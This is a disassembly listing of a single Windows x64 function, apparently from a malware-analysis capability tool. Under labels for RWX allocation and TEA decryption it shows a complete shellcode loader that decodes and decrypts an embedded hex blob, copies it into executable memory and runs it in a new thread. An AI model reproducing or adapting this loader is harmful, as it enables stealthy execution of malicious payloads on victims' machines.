Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Decrypt data using tea
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
movdqa xmmword [rsp + 0xc0], xmm15
movdqa xmmword [rsp + 0xb0], xmm14
movdqa xmmword [rsp + 0xa0], xmm13
movdqa xmmword [rsp + 0x90], xmm12
movdqa xmmword [rsp + 0x80], xmm11
movdqa xmmword [rsp + 0x70], xmm10
movdqa xmmword [rsp + 0x60], xmm9
movdqa xmmword [rsp + 0x50], xmm8
movdqa xmmword [rsp + 0x40], xmm7
movdqa xmmword [rsp + 0x30], xmm6
mov eax, dword [0x14000503c]
test eax, eax
jle 0x14000175e
lea rcx, [rax + rax]
cmp rcx, 3
mov r10d, 2
cmovae r10, rcx
xor edx, edx
cmp r10, 0xf
jae 0x140001096
xor r11d, r11d
jmp 0x1400017a6
lea r8, [r10 - 1]
shr r8, 1
inc r8
movabs r9, 0x7ffffffffffffff0
cmp r10, 0x1f
jae 0x1400010b8
xor r10d, r10d
jmp 0x14000142c
mov r10, r8
and r10, r9
xor r11d, r11d
lea rsi, [0x140004010]
movdqa xmm0, xmmword [section..rdata]
movdqa xmm1, xmmword [str._t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t]
movdqa xmm2, xmmword [0x140003020]
movdqa xmm3, xmmword [0x140003030]
movdqa xmm4, xmmword [0x140003040]
movdqa xmm5, xmmword [0x140003050]
movdqa xmm6, xmmword [0x140003060]
movdqa xmm7, xmmword [0x140003070]
lea rdi, [0x140005040]
nop
movd xmm8, dword [rsi + r11*2 + 0x1c]
movzx ebx, byte [rsi + r11*2 + 0x1e]
movd xmm9, ebx
punpcklbw xmm8, xmm9
movd xmm9, dword [rsi + r11*2 + 0x18]
movzx ebx, byte [rsi + r11*2 + 0x1a]
movd xmm10, ebx
punpcklbw xmm9, xmm10
punpcklwd xmm9, xmm8
movd xmm10, dword [rsi + r11*2 + 0x14]
movzx ebx, byte [rsi + r11*2 + 0x16]
movd xmm8, ebx
punpcklbw xmm10, xmm8
movd xmm8, dword [rsi + r11*2 + 0x10]
movzx ebx, byte [rsi + r11*2 + 0x12]
movd xmm11, ebx
punpcklbw xmm8, xmm11
punpcklwd xmm8, xmm10
punpckldq xmm8, xmm9
movd xmm9, dword [rsi + r11*2 + 0xc]
movzx ebx, byte [rsi + r11*2 + 0xe]
movd xmm10, ebx
punpcklbw xmm9, xmm10
movd xmm10, dword [rsi + r11*2 + 8]
movzx ebx, byte [rsi + r11*2 + 0xa]
movd xmm11, ebx
punpcklbw xmm10, xmm11
punpcklwd xmm10, xmm9
movd xmm11, dword [rsi + r11*2 + 4]
movzx ebx, byte [rsi + r11*2 + 6]
movd xmm9, ebx
punpcklbw xmm11, xmm9
movd xmm9, dword [rsi + r11*2]
movzx ebx, byte [rsi + r11*2 + 2]
movd xmm12, ebx
punpcklbw xmm9, xmm12
punpcklwd xmm9, xmm11
punpckldq xmm9, xmm10
punpcklqdq xmm9, xmm8
movdqa xmm10, xmm9
paddb xmm10, xmm0
movdqa xmm8, xmm10
pminub xmm8, xmm1
pcmpeqb xmm8, xmm10
movdqa xmm11, xmm9
paddb xmm11, xmm2
movdqa xmm12, xmm11
pminub xmm12, xmm3
pcmpeqb xmm12, xmm11
movdqa xmm11, xmm9
paddb xmm11, xmm4
movdqa xmm13, xmm11
pminub xmm13, xmm3
pcmpeqb xmm13, xmm11
movdqa xmm11, xmm9
paddb xmm11, xmm5
pand xmm11, xmm13
paddb xmm9, xmm6
por xmm12, xmm8
pand xmm9, xmm12
pandn xmm12, xmm11
por xmm12, xmm9
pand xmm10, xmm8
pandn xmm8, xmm12
por xmm8, xmm10
psllw xmm8, 4
pand xmm8, xmm7
movzx ebx, byte [rsi + r11*2 + 0x1f]
movd xmm9, ebx
movzx ebx, byte [rsi + r11*2 + 0x1d]
movd xmm10, ebx
punpcklbw xmm10, xmm9
movzx ebx, byte [rsi + r11*2 + 0x1b]
movd xmm9, ebx
movzx ebx, byte [rsi + r11*2 + 0x19]
movd xmm11, ebx
punpcklbw xmm11, xmm9
punpcklwd xmm11, xmm10
movzx ebx, byte [rsi + r11*2 + 0x17]
movd xmm9, ebx
movzx ebx, byte [rsi + r11*2 + 0x15]
movd xmm12, ebx
punpcklbw xmm12, xmm9
movzx ebx, byte [rsi + r11*2 + 0x13]
movd xmm9, ebx
movzx ebx, byte [rsi + r11*2 + 0x11]
movd xmm10, ebx
punpcklbw xmm10, xmm9
punpcklwd xmm10, xmm12
punpckldq xmm10, xmm11
movzx ebx, byte [rsi + r11*2 + 0xf]
movd xmm9, ebx
movzx ebx, byte [rsi + r11*2 + 0xd]
movd xmm11, ebx
punpcklbw xmm11, xmm9
movzx ebx, byte [rsi + r11*2 + 0xb]
movd xmm9, ebx
movzx ebx, byte [rsi + r11*2 + 9]
movd xmm12, ebx
punpcklbw xmm12, xmm9
punpcklwd xmm12, xmm11
movzx ebx, byte [rsi + r11*2 + 7]
movd xmm9, ebx
movzx ebx, byte [rsi + r11*2 + 5]
movd xmm11, ebx
punpcklbw xmm11, xmm9
movzx ebx, byte [rsi + r11*2 + 3]
movd xmm13, ebx
movzx ebx, byte [rsi + r11*2 + 1]
movd xmm9, ebx
punpcklbw xmm9, xmm13
punpcklwd xmm9, xmm11
punpckldq xmm9, xmm12
punpcklqdq xmm9, xmm10
movdqa xmm11, xmm9
paddb xmm11, xmm0
movdqa xmm10, xmm11
pminub xmm10, xmm1
pcmpeqb xmm10, xmm11
movdqa xmm12, xmm9
paddb xmm12, xmm2
movdqa xmm13, xmm12
pminub xmm13, xmm3
pcmpeqb xmm13, xmm12
movdqa xmm12, xmm9
paddb xmm12, xmm4
movdqa xmm14, xmm12
pminub xmm14, xmm3
pcmpeqb xmm14, xmm12
movdqa xmm12, xmm9
paddb xmm12, xmm5
pand xmm12, xmm14
paddb xmm9, xmm6
por xmm13, xmm10
pand xmm9, xmm13
pandn xmm13, xmm12
por xmm13, xmm9
pand xmm11, xmm10
pandn xmm10, xmm13
por xmm10, xmm11
por xmm10, xmm8
mov rbx, r11
and rbx, r9
movdqa xmmword [rbx + rdi], xmm10
add r11, 0x10
cmp r10, r11
jne 0x140001110
cmp r8, r10
je 0x1400016a7
test r8b, 8
jne 0x14000142c
add r10, r10
mov r11, r10
jmp 0x1400017a6
add r9, 8
mov rsi, r8
and rsi, r9
lea r11, [rsi + rsi]
lea rdi, [0x140004010]
movdqa xmm0, xmmword [0x140003080]
movdqa xmm1, xmmword [str._n_n_n_n_n_n_n_n]
pcmpeqd xmm2, xmm2
movdqa xmm3, xmmword [0x1400030a0]
movdqa xmm4, xmmword [0x1400030b0]
movdqa xmm5, xmmword [0x1400030c0]
movdqa xmm6, xmmword [0x1400030d0]
movdqa xmm7, xmmword [0x1400030e0]
movdqa xmm8, xmmword [0x140003070]
lea rbx, [0x140005040]
nop dword [rax]
movzx ebp, byte [rdi + r10*2]
movzx r14d, byte [rdi + r10*2 + 4]
movzx r15d, byte [rdi + r10*2 + 8]
movzx r12d, byte [rdi + r10*2 + 6]
shl r12d, 8
or r12d, r14d
movzx r14d, byte [rdi + r10*2 + 2]
shl r14d, 8
or r14d, ebp
movd xmm10, r14d
pinsrw xmm10, r12d, 1
movzx ebp, byte [rdi + r10*2 + 0xc]
movzx r14d, byte [rdi + r10*2 + 0xa]
shl r14d, 8
or r14d, r15d
pinsrw xmm10, r14d, 2
movzx r14d, byte [rdi + r10*2 + 0xe]
shl r14d, 8
or r14d, ebp
pinsrw xmm10, r14d, 3
movdqa xmm11, xmm10
paddb xmm11, xmm0
movdqa xmm9, xmm11
pmaxub xmm9, xmm1
pcmpeqb xmm9, xmm11
movdqa xmm12, xmm9
pxor xmm12, xmm2
movdqa xmm13, xmm10
paddb xmm13, xmm3
movdqa xmm14, xmm13
pmaxub xmm14, xmm4
pcmpeqb xmm14, xmm13
pxor xmm14, xmm2
por xmm14, xmm12
movdqa xmm12, xmm10
paddb xmm12, xmm5
movdqa xmm13, xmm12
pmaxub xmm13, xmm4
pcmpeqb xmm13, xmm12
movdqa xmm12, xmm10
paddb xmm12, xmm6
pandn xmm13, xmm12
paddb xmm10, xmm7
pand xmm10, xmm14
pandn xmm14, xmm13
por xmm14, xmm10
pand xmm14, xmm9
pandn xmm9, xmm11
por xmm9, xmm14
psllw xmm9, 4
movzx ebp, byte [rdi + r10*2 + 1]
movzx r14d, byte [rdi + r10*2 + 5]
movzx r15d, byte [rdi + r10*2 + 9]
movzx r12d, byte [rdi + r10*2 + 0xd]
movzx r13d, byte [rdi + r10*2 + 7]
shl r13d, 8
or r13d, r14d
movzx r14d, byte [rdi + r10*2 + 3]
shl r14d, 8
or r14d, ebp
movd xmm10, r14d
pinsrw xmm10, r13d, 1
movzx ebp, byte [rdi + r10*2 + 0xb]
shl ebp, 8
or ebp, r15d
pinsrw xmm10, ebp, 2
movzx ebp, byte [rdi + r10*2 + 0xf]
shl ebp, 8
or ebp, r12d
pinsrw xmm10, ebp, 3
pand xmm9, xmm8
movdqa xmm12, xmm10
paddb xmm12, xmm0
movdqa xmm11, xmm12
pmaxub xmm11, xmm1
pcmpeqb xmm11, xmm12
movdqa xmm13, xmm11
pxor xmm13, xmm2
movdqa xmm14, xmm10
paddb xmm14, xmm3
movdqa xmm15, xmm14
pmaxub xmm15, xmm4
pcmpeqb xmm15, xmm14
pxor xmm15, xmm2
por xmm15, xmm13
movdqa xmm13, xmm10
paddb xmm13, xmm5
movdqa xmm14, xmm13
pmaxub xmm14, xmm4
pcmpeqb xmm14, xmm13
movdqa xmm13, xmm10
paddb xmm13, xmm6
pandn xmm14, xmm13
paddb xmm10, xmm7
pand xmm10, xmm15
pandn xmm15, xmm14
por xmm15, xmm10
pand xmm15, xmm11
pandn xmm11, xmm12
por xmm11, xmm15
por xmm11, xmm9
mov r14, r10
and r14, r9
movq qword [r14 + rbx], xmm11
add r10, 8
cmp rsi, r10
jne 0x140001490
cmp r8, rsi
jne 0x1400017a6
test eax, eax
jle 0x14000175e
mov ecx, dword [0x140004008]
mov edx, dword [0x14000400c]
mov r8d, dword [str.abcdefghhhhiiijjebec803d800d89d6285b91b38d148f4ec0fd917522300977e0074b30485eb9b8aa1a080624cff5908826310a1bcb79d5ad5d50e6a0dbe3ace66c3a82fe5d9279616303fcfc3b7331824c760b1c2a6e231ba4316719b6d76476478e489449733d7f0fed9665860f0ed58842c3334a9e383372adaee4b7b094f64ae92b1454aca7669851c946c6c8e562ef03e8f1a376b9bce8310325db662ff9f542cd0c8a4f676f4162a6bf557bb56a3df78bc99dcd5028147c5da9523559e07108aadce31a9f4a9f5a84b2297530312554af088863e8aa61e1fd651c0b565b0354eb864df69ece958c46cf1f3a15448c20d632fad6dc5a5920eb4455903870a96257928b667efe5052e07af50d21ca0635a2ac21a28b8d3e36b9b5916a1c5469849d40d0f6528ce8e4302e0fb9065f20756286d62bf26d5963544b5ec434cd8f67ca2f81b6e28a37d37da7824876a44e5dfc337b18d61f0d943ed16860aebc4522c2e8586b1f87dd6dbd4d5da59f04737c66058fb205f0351b04f71272133d9d3ce75ceae67c38425f817b0f352632653552e33e71cdf030923515ca8caf09a239ff862a1eb5c8dbd6321dae6ab5d6e157f0b9dcc1ceb5ab7c01558a65b5de7c3d7462bbdfda12959d1cfac8faf5bc65c302513f690b74b412fc9a246192d5aeb83a4b2a3031ff4240a8ccc7d873ed5af9c8f7e469b8c1ac3cb87ec6aec87aab316e3446026989eb1f2e66eb68ff206a7ffbc03426573547777e808c4eb81fa3eaa7bb975199ac2edf049205d0cd76e3c9b1edc0c9be80ba7e657d71615eba69ddbb5b41f7c0ece43df75122d67f04b681c37db9bbda187c5f28770d1fb19013e95e17064c6e45c3b24f3c7a3094cd47d50ece1a7192ca2288712fb0626a3547777e808c4eb828b1f996fecb2b24f1b9206bdde34d70658a1c5cf40a36943f0fb98f8a2b498ae92d17af24cf8df1ff5d5516e6284767a9efaf814389275f885979d063011cc27cd569d824d958c126f3eca190f8bb3e4b65d4b5b21a4ffa183b6ae3be4ff6e752370aea4053f40ca34bf0c29488e9a40593da841e582816865222b76d4305b36d9c308a7216f94504e683d7b680fdb46a3e65c92cd8918dc5ca1a7ca97e71352015d808db82d48b074e92b82c656ac462f481ebde7c10f4615f92a4a1e831274eebaa41530ae32e52c3109fef482abdca0f0c23d54a0a87546dd11a7c5d8b8713e2055ecb6ecccd991db49e867916c816914f19be121e09a03f5a610f708e203bebd3cf07280194913067ffc96acaec1871fdf1ed5a21d7a65f9716ac5dc676f1b9c6754a297320c405a5e5325a30a508fcf08da304579a10d3d6cb667c39b77b655d946577064fabdebdeba91609da187a38c16e2571b7dcda215249142501022ee7133eef9a93d9d1b98ad6d4412407fffd59d740d64d5c170a02e4ca09f51243fe4b6a47beb680f60f12604384ae04be5070e0108b51b782942d0ee9387733066b4725b51108c2e89cc7804b40d4e1d5c8bd6c4eea383761845e3d11cd5c026c200bed061233b63641df1cbcaca5fb578052431cb2a423f7c50a38e402170cd6d6d1aacaa0efa6e4471c1958cd0ec9526aaec333374ccb2afb3612f47f75db84c1a4f013d14994da4a4adc4322c1be46e3a3ea4bea4d06489e5505974c18f5b081b85d886f15d20a1e2ce0d2685716764c7ec7f0845cad968c71231b5703f6450197c76c062e3adbb11e277a28b62fd225f9faefafb5662e2cdb2524054c5d59b1b569815a16c6ac446aaccbda27be46e3a3ea4bea4d5631eced33dc0564f484c49012bf18fdd54f5579f5ee1fde9698e18d5a416ad0d3920dcfc6bfd39a372d54617f8ffe6de454563d79023900aac2cfe77ad23f6d1b086ce187a502293547777e808c4eb8be0d429f569007242e7df332f17337122074f619d004dd5f19782f67d9bb48792cde9a02116e3a8f5f3b69d4c864abeb63b4424a680023cfc5e5642fac343b2a1796e3045bb18e5b339975a75c00fc20a33f656754026ca1111a43cd150aa657a753d810b5eda3aaf1eaa9fc2608db7cbf1394d055767359200c56e09fe53b27b6e9570c63e9aa6de70a67308d81e0b2]
mov r9d, dword [0x140004004]
xor r10d, r10d
lea r11, [0x140005040]
nop word cs:[rax + rax]
mov esi, dword [r10 + r11]
mov edi, dword [r10 + r11 + 4]
mov ebx, 0xc6ef3720
mov ebp, 0x20
nop word cs:[rax + rax]
mov r14d, esi
shl r14d, 4
add r14d, ecx
lea r15d, [rsi + rbx]
xor r15d, r14d
mov r14d, esi
shr r14d, 5
add r14d, edx
xor r14d, r15d
sub edi, r14d
mov r14d, edi
shl r14d, 4
add r14d, r8d
lea r15d, [rbx + rdi]
xor r15d, r14d
mov r14d, edi
shr r14d, 5
add r14d, r9d
xor r14d, r15d
sub esi, r14d
add ebx, 0x61c88647
dec ebp
jne 0x140001700
mov dword [r10 + r11], esi
mov dword [r10 + r11 + 4], edi
add r10, 8
cmp r10, rax
jb 0x1400016e0
lea rsi, [0x140005040]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rax
shr rcx, 1
mov dword [0x14000503c], ecx
test ecx, ecx
jle 0x140001e50
and eax, 0xfffffffe
cmp rax, 3
mov r9d, 2
cmovae r9, rax
xor ecx, ecx
cmp r9, 0xf
jae 0x140001844
xor r10d, r10d
jmp 0x140001f0f
mov r9, r11
shr r9, 1
lea r8, [0x140005040]
add r8, r9
lea r9, [0x140004010]
jmp 0x1400017ec
lea edi, [rsi - 0x41]
add sil, 0xc9
cmp dil, 6
movzx edi, sil
cmovae edi, edx
shl r10b, 4
or r10b, dil
mov byte [r8], r10b
add r11, 2
inc r8
cmp r11, rcx
jae 0x1400016a7
movzx esi, byte [r11 + r9]
lea r10d, [rsi - 0x30]
cmp r10b, 0xa
jb 0x140001824
lea r10d, [rsi - 0x61]
cmp r10b, 5
ja 0x140001810
add sil, 0xa9
mov r10d, esi
jmp 0x140001824
lea r10d, [rsi - 0x41]
add sil, 0xc9
cmp r10b, 6
movzx r10d, sil
cmovae r10d, edx
movzx esi, byte [r11 + r9 + 1]
lea edi, [rsi - 0x30]
cmp dil, 0xa
jb 0x1400017d2
lea edi, [rsi - 0x61]
cmp dil, 5
ja 0x1400017c0
add sil, 0xa9
mov edi, esi
jmp 0x1400017d2
lea rdx, [r9 - 1]
shr rdx, 1
inc rdx
movabs r8, 0x7ffffffffffffff0
cmp r9d, 0x1f
jae 0x140001866
xor r9d, r9d
jmp 0x140001bdb
mov r9, rdx
and r9, r8
xor r10d, r10d
movdqa xmm0, xmmword [section..rdata]
movdqa xmm1, xmmword [str._t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t]
movdqa xmm2, xmmword [0x140003020]
movdqa xmm3, xmmword [0x140003030]
movdqa xmm4, xmmword [0x140003040]
movdqa xmm5, xmmword [0x140003050]
movdqa xmm6, xmmword [0x140003060]
movdqa xmm7, xmmword [0x140003070]
lea r11, [0x140004c70]
nop word cs:[rax + rax]
movd xmm8, dword [rsi + r10*2 + 0x1c]
movzx edi, byte [rsi + r10*2 + 0x1e]
movd xmm9, edi
punpcklbw xmm8, xmm9
movd xmm9, dword [rsi + r10*2 + 0x18]
movzx edi, byte [rsi + r10*2 + 0x1a]
movd xmm10, edi
punpcklbw xmm9, xmm10
punpcklwd xmm9, xmm8
movd xmm10, dword [rsi + r10*2 + 0x14]
movzx edi, byte [rsi + r10*2 + 0x16]
movd xmm8, edi
punpcklbw xmm10, xmm8
movd xmm8, dword [rsi + r10*2 + 0x10]
movzx edi, byte [rsi + r10*2 + 0x12]
movd xmm11, edi
punpcklbw xmm8, xmm11
punpcklwd xmm8, xmm10
punpckldq xmm8, xmm9
movd xmm9, dword [rsi + r10*2 + 0xc]
movzx edi, byte [rsi + r10*2 + 0xe]
movd xmm10, edi
punpcklbw xmm9, xmm10
movd xmm10, dword [rsi + r10*2 + 8]
movzx edi, byte [rsi + r10*2 + 0xa]
movd xmm11, edi
punpcklbw xmm10, xmm11
punpcklwd xmm10, xmm9
movd xmm11, dword [rsi + r10*2 + 4]
movzx edi, byte [rsi + r10*2 + 6]
movd xmm9, edi
punpcklbw xmm11, xmm9
movd xmm9, dword [rsi + r10*2]
movzx edi, byte [rsi + r10*2 + 2]
movd xmm12, edi
punpcklbw xmm9, xmm12
punpcklwd xmm9, xmm11
punpckldq xmm9, xmm10
punpcklqdq xmm9, xmm8
movdqa xmm10, xmm9
paddb xmm10, xmm0
movdqa xmm8, xmm10
pminub xmm8, xmm1
pcmpeqb xmm8, xmm10
movdqa xmm11, xmm9
paddb xmm11, xmm2
movdqa xmm12, xmm11
pminub xmm12, xmm3
pcmpeqb xmm12, xmm11
movdqa xmm11, xmm9
paddb xmm11, xmm4
movdqa xmm13, xmm11
pminub xmm13, xmm3
pcmpeqb xmm13, xmm11
movdqa xmm11, xmm9
paddb xmm11, xmm5
pand xmm11, xmm13
paddb xmm9, xmm6
por xmm12, xmm8
pand xmm9, xmm12
pandn xmm12, xmm11
por xmm12, xmm9
pand xmm10, xmm8
pandn xmm8, xmm12
por xmm8, xmm10
psllw xmm8, 4
pand xmm8, xmm7
movzx edi, byte [rsi + r10*2 + 0x1f]
movd xmm9, edi
movzx edi, byte [rsi + r10*2 + 0x1d]
movd xmm10, edi
punpcklbw xmm10, xmm9
movzx edi, byte [rsi + r10*2 + 0x1b]
movd xmm9, edi
movzx edi, byte [rsi + r10*2 + 0x19]
movd xmm11, edi
punpcklbw xmm11, xmm9
punpcklwd xmm11, xmm10
movzx edi, byte [rsi + r10*2 + 0x17]
movd xmm9, edi
movzx edi, byte [rsi + r10*2 + 0x15]
movd xmm12, edi
punpcklbw xmm12, xmm9
movzx edi, byte [rsi + r10*2 + 0x13]
movd xmm9, edi
movzx edi, byte [rsi + r10*2 + 0x11]
movd xmm10, edi
punpcklbw xmm10, xmm9
punpcklwd xmm10, xmm12
punpckldq xmm10, xmm11
movzx edi, byte [rsi + r10*2 + 0xf]
movd xmm9, edi
movzx edi, byte [rsi + r10*2 + 0xd]
movd xmm11, edi
punpcklbw xmm11, xmm9
movzx edi, byte [rsi + r10*2 + 0xb]
movd xmm9, edi
movzx edi, byte [rsi + r10*2 + 9]
movd xmm12, edi
punpcklbw xmm12, xmm9
punpcklwd xmm12, xmm11
movzx edi, byte [rsi + r10*2 + 7]
movd xmm9, edi
movzx edi, byte [rsi + r10*2 + 5]
movd xmm11, edi
punpcklbw xmm11, xmm9
movzx edi, byte [rsi + r10*2 + 3]
movd xmm13, edi
movzx edi, byte [rsi + r10*2 + 1]
movd xmm9, edi
punpcklbw xmm9, xmm13
punpcklwd xmm9, xmm11
punpckldq xmm9, xmm12
punpcklqdq xmm9, xmm10
movdqa xmm11, xmm9
paddb xmm11, xmm0
movdqa xmm10, xmm11
pminub xmm10, xmm1
pcmpeqb xmm10, xmm11
movdqa xmm12, xmm9
paddb xmm12, xmm2
movdqa xmm13, xmm12
pminub xmm13, xmm3
pcmpeqb xmm13, xmm12
movdqa xmm12, xmm9
paddb xmm12, xmm4
movdqa xmm14, xmm12
pminub xmm14, xmm3
pcmpeqb xmm14, xmm12
movdqa xmm12, xmm9
paddb xmm12, xmm5
pand xmm12, xmm14
paddb xmm9, xmm6
por xmm13, xmm10
pand xmm9, xmm13
pandn xmm13, xmm12
por xmm13, xmm9
pand xmm11, xmm10
pandn xmm10, xmm13
por xmm10, xmm11
por xmm10, xmm8
mov rdi, r10
and rdi, r8
movdqa xmmword [rdi + r11], xmm10
add r10, 0x10
cmp r9, r10
jne 0x1400018c0
cmp rdx, r9
je 0x140001e50
test dl, 8
jne 0x140001bdb
add r9, r9
mov r10, r9
jmp 0x140001f0f
add r8, 8
mov r11, rdx
and r11, r8
lea r10, [r11 + r11]
movdqa xmm0, xmmword [0x140003080]
movdqa xmm1, xmmword [str._n_n_n_n_n_n_n_n]
pcmpeqd xmm2, xmm2
movdqa xmm3, xmmword [0x1400030a0]
movdqa xmm4, xmmword [0x1400030b0]
movdqa xmm5, xmmword [0x1400030c0]
movdqa xmm6, xmmword [0x1400030d0]
movdqa xmm7, xmmword [0x1400030e0]
movdqa xmm8, xmmword [0x140003070]
lea rdi, [0x140004c70]
nop word cs:[rax + rax]
movzx ebx, byte [rsi + r9*2]
movzx ebp, byte [rsi + r9*2 + 4]
movzx r14d, byte [rsi + r9*2 + 8]
movzx r15d, byte [rsi + r9*2 + 6]
shl r15d, 8
or r15d, ebp
movzx ebp, byte [rsi + r9*2 + 2]
shl ebp, 8
or ebp, ebx
movd xmm10, ebp
pinsrw xmm10, r15d, 1
movzx ebx, byte [rsi + r9*2 + 0xc]
movzx ebp, byte [rsi + r9*2 + 0xa]
shl ebp, 8
or ebp, r14d
pinsrw xmm10, ebp, 2
movzx ebp, byte [rsi + r9*2 + 0xe]
shl ebp, 8
or ebp, ebx
pinsrw xmm10, ebp, 3
movdqa xmm11, xmm10
paddb xmm11, xmm0
movdqa xmm9, xmm11
pmaxub xmm9, xmm1
pcmpeqb xmm9, xmm11
movdqa xmm12, xmm9
pxor xmm12, xmm2
movdqa xmm13, xmm10
paddb xmm13, xmm3
movdqa xmm14, xmm13
pmaxub xmm14, xmm4
pcmpeqb xmm14, xmm13
pxor xmm14, xmm2
por xmm14, xmm12
movdqa xmm12, xmm10
paddb xmm12, xmm5
movdqa xmm13, xmm12
pmaxub xmm13, xmm4
pcmpeqb xmm13, xmm12
movdqa xmm12, xmm10
paddb xmm12, xmm6
pandn xmm13, xmm12
paddb xmm10, xmm7
pand xmm10, xmm14
pandn xmm14, xmm13
por xmm14, xmm10
pand xmm14, xmm9
pandn xmm9, xmm11
por xmm9, xmm14
psllw xmm9, 4
movzx ebx, byte [rsi + r9*2 + 1]
movzx ebp, byte [rsi + r9*2 + 5]
movzx r14d, byte [rsi + r9*2 + 9]
movzx r15d, byte [rsi + r9*2 + 0xd]
movzx r12d, byte [rsi + r9*2 + 7]
shl r12d, 8
or r12d, ebp
movzx ebp, byte [rsi + r9*2 + 3]
shl ebp, 8
or ebp, ebx
movd xmm10, ebp
pinsrw xmm10, r12d, 1
movzx ebx, byte [rsi + r9*2 + 0xb]
shl ebx, 8
or ebx, r14d
pinsrw xmm10, ebx, 2
movzx ebx, byte [rsi + r9*2 + 0xf]
shl ebx, 8
or ebx, r15d
pinsrw xmm10, ebx, 3
pand xmm9, xmm8
movdqa xmm12, xmm10
paddb xmm12, xmm0
movdqa xmm11, xmm12
pmaxub xmm11, xmm1
pcmpeqb xmm11, xmm12
movdqa xmm13, xmm11
pxor xmm13, xmm2
movdqa xmm14, xmm10
paddb xmm14, xmm3
movdqa xmm15, xmm14
pmaxub xmm15, xmm4
pcmpeqb xmm15, xmm14
pxor xmm15, xmm2
por xmm15, xmm13
movdqa xmm13, xmm10
paddb xmm13, xmm5
movdqa xmm14, xmm13
pmaxub xmm14, xmm4
pcmpeqb xmm14, xmm13
movdqa xmm13, xmm10
paddb xmm13, xmm6
pandn xmm14, xmm13
paddb xmm10, xmm7
pand xmm10, xmm15
pandn xmm15, xmm14
por xmm15, xmm10
pand xmm15, xmm11
pandn xmm11, xmm12
por xmm11, xmm15
por xmm11, xmm9
mov rbx, r9
and rbx, r8
movq qword [rbx + rdi], xmm11
add r9, 8
cmp r11, r9
jne 0x140001c40
cmp rdx, r11
jne 0x140001f0f
mov edx, 0x3cb
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
lea rdx, [0x140004c70]
mov r8d, 0x3cb
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm9, xmmword [rsp + 0x60]
movaps xmm10, xmmword [rsp + 0x70]
movaps xmm11, xmmword [rsp + 0x80]
movaps xmm12, xmmword [rsp + 0x90]
movaps xmm13, xmmword [rsp + 0xa0]
movaps xmm14, xmmword [rsp + 0xb0]
movaps xmm15, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8, r10
shr r8, 1
lea rdx, [0x140004c70]
add rdx, r8
jmp 0x140001f5e
lea r11d, [r9 - 0x41]
add r9b, 0xc9
cmp r11b, 6
movzx r11d, r9b
cmovae r11d, ecx
shl r8b, 4
or r8b, r11b
mov byte [rdx], r8b
add r10, 2
inc rdx
cmp r10, rax
jae 0x140001e50
movzx r9d, byte [r10 + rsi]
lea r8d, [r9 - 0x30]
cmp r8b, 0xa
jb 0x140001f94
lea r8d, [r9 - 0x61]
cmp r8b, 5
ja 0x140001f80
add r9b, 0xa9
mov r8d, r9d
jmp 0x140001f94
lea r8d, [r9 - 0x41]
add r9b, 0xc9
cmp r8b, 6
movzx r8d, r9b
cmovae r8d, ecx
movzx r9d, byte [r10 + rsi + 1]
lea r11d, [r9 - 0x30]
cmp r11b, 0xa
jb 0x140001f44
lea r11d, [r9 - 0x61]
cmp r11b, 5
ja 0x140001f30
add r9b, 0xa9
mov r11d, r9d
jmp 0x140001f44